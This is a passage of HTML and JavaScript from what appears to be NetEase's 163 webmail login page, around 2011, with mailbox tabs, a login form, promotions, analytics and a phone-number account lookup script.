<li class="liTab On" id="li163"><a href="javascript:void(0)" title="163网易免费邮" hidefocus="true" style="outline:0" onClick="fSwitchTab('163')" class="ImgJ1 ATab_163"><b>163网易免费邮</b></a></li><!-- 选中的标签,加On -->
<li class="liTab" id="li126"><a href="javascript:void(0)" title="126网易免费邮" hidefocus="true" style="outline:0" onClick="fSwitchTab('126')" class="ImgJ1 ATab_126"><b>126网易免费邮</b></a></li>
<li class="liTab" id="liyeah"><a href="javascript:void(0)" title="Yeah.net网易免费邮" hidefocus="true" style="outline:0" onClick="fSwitchTab('yeah')" class="ImgJ1 ATab_Yeah"><b>Yeah.net网易免费邮</b></a></li>
<li class="liTab" id="liqiye"><a href="javascript:void(0)" title="网易企业邮箱" hidefocus="true" style="outline:0" onClick="fSwitchTab('qiye')" class="ImgJ1 ATab_qiye"><b>网易企业邮箱</b></a></li>
</ul>
</div>
<!-- 标签栏 End -->
<!-- 切换的内容 Begin -->
<div class="fmi_ACon TabOn_163" id="divACon"><!-- 此处切换邮箱的style,TabOn_163、TabOn_126、TabOn_Yeah -->
<form method="post" name="post" id="Loginqiye" action="login/">
<input type="text" name="account_name" id="txtUserNameqiye" value="" />
<input type="text" name="domain" id="txtUserDomainqiye" value="" />
<input type="password" name="password" id="txtPasswordqiye" value="" />
<input type="checkbox" id="qiyeall_secure" name="all_secure" value="1"/>
</form>
<form method="post" name="frmLogin" id="frmLogin" onSubmit="return fCheck()" target="_top">
<input type="hidden" name="username" id="txtUserName" value="" />
<input type="hidden" name="url2" id="url2" value="http://email.163.com/errorpage/err_163.htm" />
<!-- 登录框 Begin -->
<fieldset class="fmi_LgBxWp">
<legend style="height:0px; overflow:hidden; color:#FFF; font-size:0px; line-height:0px; display:none">登录网易免费邮箱</legend>
<div class="fmi_LgBxCon">
<h3 class="ImgJ2 LgBx_Name"></h3>
<table border="0" cellspacing="0" cellpadding="0" class="LgBxLst_tb">
<tr id="uName">
<th nowrap id="usernametext">用户名</th>
<td width="200"><input TYPE="text" NAME="user" id="txtUser" class="Ipt" style="width:190px;ime-mode:disabled" onFocus="this.className='Ipt IptOnF'" onBlur="fCheckAccount(this);this.className='Ipt';" maxlength="50" tabIndex="1"></td>
<td width="20" class="Sgn_At" id="symbolAt">@</td>
<td width="">
<select name="selectDomain" class="Sel Sel1" id="selDomain" onChange="fSwitchTab(this.value)" onkeyup="if((event.keyCode||event.charCode) == 38 || (event.keyCode||event.charCode) == 40)fSwitchTab(this.value)" tabIndex="3">
<option value="163" selected="true">163.com</option>
<option value="126">126.com</option>
<option value="yeah">yeah.net</option>
</select>
<span id="qiyeDomain" style="display:none;"><input TYPE="text" id="txtQiyeDOmain" class="Ipt" style="width:93px;ime-mode:disabled" onFocus="this.className='Ipt IptOnF'" onBlur="fCheckAccount(this);this.className='Ipt';" maxlength="50" tabIndex="2"></span>
</td>
</tr>
<tr class="tips" style="display:none;"><th></th><td colspan="3"><div id="tips" class="inner"></div></td></tr>
<tr>
<th nowrap>密 码</th>
<td><input TYPE="password" NAME="password" id="txtPassword" class="Ipt" style="width:190px;" onFocus="this.className='Ipt IptOnF'" onBlur="this.className='Ipt';" tabIndex="2"></td>
<td colspan="2"><a id="forGetPassword" href="http://reg.163.com/RecoverPasswd1.shtml" target="_blank" title="" tabIndex="4">忘记密码?</a></td>
</tr>
<tr id="versionTr">
<th nowrap>版 本</th>
<td class="Ver_Wp">
<select name="style163" class="Sel Sel2" style="width:190px;" id="selStyle163" tabIndex="5">
<option value="-1" selected="true">    默   认   </option>
<option value="9">    极速 4.0   </option>
<option value="10">    极速 3.5   </option>
<option value="3">    简约 3.0   </option>
</select>
<select name="style126" class="Sel Sel2" style="width:190px;display:none;" id="selStyle126" tabIndex="5">
<option value="-1" selected="true">    默   认   </option>
<option value="9">    极速 4.0   </option>
<option value="10">    极速 3.5   </option>
<option value="3">    简约 3.0   </option>
</select>
<select name="styleyeah" class="Sel Sel2" style="width:190px;display:none;" id="selStyleyeah" tabIndex="5">
<option value="-1" selected="true">    默   认   </option>
<option value="9">    极速 4.0   </option>
<option value="3">    简约 3.0   </option>
</select>
<select name="styleqiye" class="Sel Sel2" style="width:190px;display:none;" id="selStyleqiye" tabIndex="5">
<option value="-1" selected="true">    默   认   </option>
</select>
</td>
<td style="height:auto;" colspan="2"> </td>
</tr>
<tr id="loginOptionTr">
<th> </th>
<td colspan="3" nowrap class="Chk_Wp" id="loginOptionTd">
<INPUT TYPE="checkbox" NAME="rmbUser" id="rmbUser" class="Chk_RName" checked tabIndex="6"><label for="rmbUser">记住用户名</label>
<INPUT TYPE="checkbox" NAME="Chk_SSL" id="chkSSL" class="Chk_SSL" checked tabIndex="7"><label for="chkSSL">SSL安全登录</label>
<a href="http://help.163.com/08/1111/17/4QG2LL4R00752UPN.html" target="_blank" title="什么是SSL登录" id="lnkWhySSL" tabIndex="8"><img class="WhySSL" src="http://mimg.126.net/index/email/img/whyssl.gif" /></a>
</td>
</tr>
<tr>
<th> </th>
<td colspan="3" class="Smb_Wp"><INPUT TYPE="submit" value="登 录" class="Btn SmbBtn" onMouseOver="this.className='Btn SmbBtn BtnHv'" onMouseOut="this.className='Btn SmbBtn'" onMouseDown="this.className='Btn SmbBtn BtnDw'" tabIndex="9"></td>
</tr>
<tr>
<th> </th>
<td colspan="3" nowrap class="Reg_Wp">
<span id="notAccountTips">还没有网易免费邮?<b> <a href="http://reg.email.163.com/mailregAll/reg0.jsp?from=email163" target="_blank" title="" tabIndex="10">立即注册</a></b></span>
</td>
</tr>
</table>
<div class="Error" id="divError"></div>
</div>
</fieldset>
</form>
<!-- 登录框 End -->
<!-- 产品推荐&公告 Begin -->
<div class="fmi_BnrWp">
<!-- 产品推荐 Begin -->
<div class="fmi_PdtWp">
<h3 class="">产品推荐</h3>
<ul class="ulst_Pdt">
<li class="Pdt_I Pdt_Wap">
<a href="http://count.mail.163.com/beacon/click.htm?from=NO_75&domain=email&area=index" title="WAP邮箱" target="_blank" class="ImgJ2 Ico"></a>
<h4><a href="http://count.mail.163.com/beacon/click.htm?from=NO_75&domain=email&area=index" target="_blank" title="" id="lnkWap">WAP邮箱</a></h4>
<p><a href="http://count.mail.163.com/beacon/click.htm?from=NO_75&domain=email&area=index" target="_blank" title="">网易全新WAP邮箱<br />界面清爽,功能强大</a></p>
</li>
<li class="Pdt_I Pdt_Sjy">
<a href="http://count.mail.163.com/beacon/click.htm?from=NO_76&domain=email&area=index" title="简历中心" target="_blank" class="ImgJ2 Ico"></a>
<h4><a href="http://count.mail.163.com/beacon/click.htm?from=NO_76&domain=email&area=index" target="_blank" title="" id="lnkSdy">简历中心</a></h4>
<p><a href="http://count.mail.163.com/beacon/click.htm?from=NO_76&domain=email&area=index" target="_blank" title="">使用专业简历模板,精准的行<br />业分类,瞄准好工一击即中</a></p>
</li>
<li class="Pdt_I Pdt_Imap">
<a href="http://count.mail.163.com/beacon/click.htm?from=NO_77&domain=email&area=index" target="_blank" title="IMAP服务设置视频" class="ImgJ2 Ico"></a>
<h4><a href="http://count.mail.163.com/beacon/click.htm?from=NO_77&domain=email&area=index" target="_blank" title="" id="lnkMxp">IMAP服务设置视频</a></h4>
<p><a href="http://count.mail.163.com/beacon/click.htm?from=NO_77&domain=email&area=index" target="_blank" title="">视频+图文,手把手教您设置IMAP,获得收发邮件最佳体验</a></p>
</li>
</ul>
</div>
<!-- 产品推荐 End -->
<!-- 公告 Begin -->
<div class="fmi_AcmWp" style="width:215px">
<h3 class="">公告</h3>
<div class="">
<p>· <a href="http://mail.163.com/html/110523_accounts/index.htm" target="_blank">邮箱多帐户关联,一键切换子邮箱</a></p>
<p>· <a href="http://www.12321.cn/anti-spam/201102/" target="_blank">2011第二季反垃圾邮件有奖调查</a></p>
<p>· <a href="http://count.mail.163.com/beacon/jfclick.htm?from=NO_10&domain=&area=login_text" target="_blank">积分当钱花,好礼送不停</a></p>
</div>
</div>
<!-- 公告 End -->
</div>
<!-- 产品推荐&公告 End -->
</div>
<!-- 切换的内容 End -->
</div>
<!-- 总框 End -->
</div>
</div>
<!-- 主体 End -->
<!-- 底部版权信息 Begin -->
<div class="fmi_FootWp">
<div class="fmi_FootWpIn">
<a href="http://corp.163.com/index_gb.html" target="_blank">关于网易</a> <a href="http://mail.163.com/html/mail_intro" target="_blank">关于网易免费邮</a> <a href="http://mail.blog.163.com/" target="_blank">邮箱官方博客</a> <a href="http://help.163.com/" target="_blank">客户服务</a> <a href="http://corp.163.com/gb/legal/legal.html" target="_blank">隐私政策</a> | 网易公司版权所有 © 1997-2011
</div>
</div>
<!-- 底部版权信息 End -->
<!--checkssl-->
<img src="https://reg.163.com/images/checkssl.gif" width="0" height="0" />
</div>
</div>
<!-- START NetEase Devilfish 2006 -->
<script src="http://analytics.163.com/ntes.js" type="text/javascript"></script>
<script type="text/javascript">
_ntes_nacc = "163mail";
neteaseTracker();
</script>
<!-- END NetEase Devilfish 2006 -->
<!-- 预加载极速js -->
<iframe src="http://mail.163.com/preload.htm#version=4.0.0b1107131607" style="display:none" id="frmJs4"></iframe>
<!-- start 手机号码帐号提示 -->
<script type="text/javascript">
<!--
var numMailTip = (function(){
var INTERFACE = "http://mbind.mail.126.com/mbind/qu.do?pn=",
TIMESTAMP = Math.round((new Date()).getTime() / 86400000) + "";
var sNum, oInput, oTip, sNameOfNum, oNumResult, sDomain;
var fGetNum = function(uName){ //获取手机号码帐号
if(sDomain == "123.163.com"){
fGetIdByNum(uName);
}
else{
oTip.style.display = "none";
}
},
fGetIdByNum = function(sNum){
sNum = fStringTrim(sNum);
if(sNameOfNum === sNum){
oTip.style.display = "";
return;
}
if(fParsePhoneNum(sNum)){
if(oNumResult && oNumResult.sQuery === sNum){
fShowTip(oNumResult.sNum);
}
else{
fGetScript(INTERFACE + sNum + "&t=" + TIMESTAMP);
}
sNameOfNum = sNum;
}
else{
oTip.style.display = "none";
}
},
fShowTip = function(sNum){ //显示提示框
var sHtml = '<span class="arr2"></span>\\
<a class="close" href="javascript:void(0);" onclick="numMailTip.pause();">关闭</a>\\
';
//显示帐号
sHtml += '用<em>' + sNum + '</em>密码登录';
$("tips").innerHTML = sHtml;
oTip.style.display = "";
},
fCallback = function(oRes){ //回调
var sNum,oDate;
try{
if(oRes.nCode !== 200){
return;
}
oNumResult = {nCode : oRes.nCode, sNum : oRes.sNum, sQuery : sNameOfNum}
fShowTip(oRes.sNum);
}catch(e){
oTip.style.display = "none";
}
},
fInitDom = function(sDomId, sTipId){ //初始化dom
var oBNode;
oBNode = $(sDomId);
oInput = oBNode.getElementsByTagName("input")[0];
if(!oBNode || !oInput){
return;
}
oTip = $(sTipId).parentNode.parentNode;
},
fInitEvent = function(){ //初始化事件处理
var sValue;
window.MobCallback = fCallback;
//fAddEvent(window, "load", fCheckOnload);
fAddEvent(oInput, "blur", function(e){
try{
var oTarget;
e = e || window.event;
oTarget = e.target || e.srcElement;
if(oTarget){
sValue = fStringTrim(oTarget.value);
if(sValue.length > 0){
fGetNum(sValue);
}
else{
oTip.style.display = "none";
}
}
}catch(e){}
return true;
});
},
fParsePhoneNum = function(sStr){
return /^0*(13|15|18)\\d{9}$/.test(sStr);
},
fGetScript = function(sUrl){ //跨域调用方法
var oScript = document.createElement("script");
oScript.setAttribute("type", "text/javascript");
oScript.setAttribute("src", sUrl);
window.document.body.appendChild(oScript);
},
fAddEvent = function(target, eType, handler){ //通用事件注册
if(document.addEventListener){
target.addEventListener(eType, handler, false);
}
else if(document.attachEvent){
target.attachEvent('on' + eType, handler);
}
else{
target['on' + eType] = handler;
}
},
fStringTrim = function(sValue){ //去除字符串头尾无效字符
return sValue.replace(/(^\\s*)|(\\s*$)/g, "").replace(/(^ *)|( *$)/g, "");
};
return{ //public methods
"init": function(sBroId, sTipId){ //流程初始化
try{
fInitDom(sBroId, sTipId);
fInitEvent();
}catch(e){}
return this;
},
"pause" : function(){ //关闭提示功能
if(typeof oTip === "object" && typeof oTip.nodeType !== "undefined"){
oTip.style.display = "none";
}
bStop = true;
fSetCookie("MTip", "1", true); //下次访问不开启此功能
},
"show" : function(bType){
bStop = !bType;
oTip.style.display = "none";
},
"switchover" : function(nType){
oTip.style.display = "none";
sDomain = nType || "";
sNameOfNum = null;
fGetNum(oInput.value);
}
};
})().init("uName", "tips");
//-->
</script>
<!-- 引擎预加载 -->
<script type="text/javascript">
<!--
//-->
</script>
</body>
</html>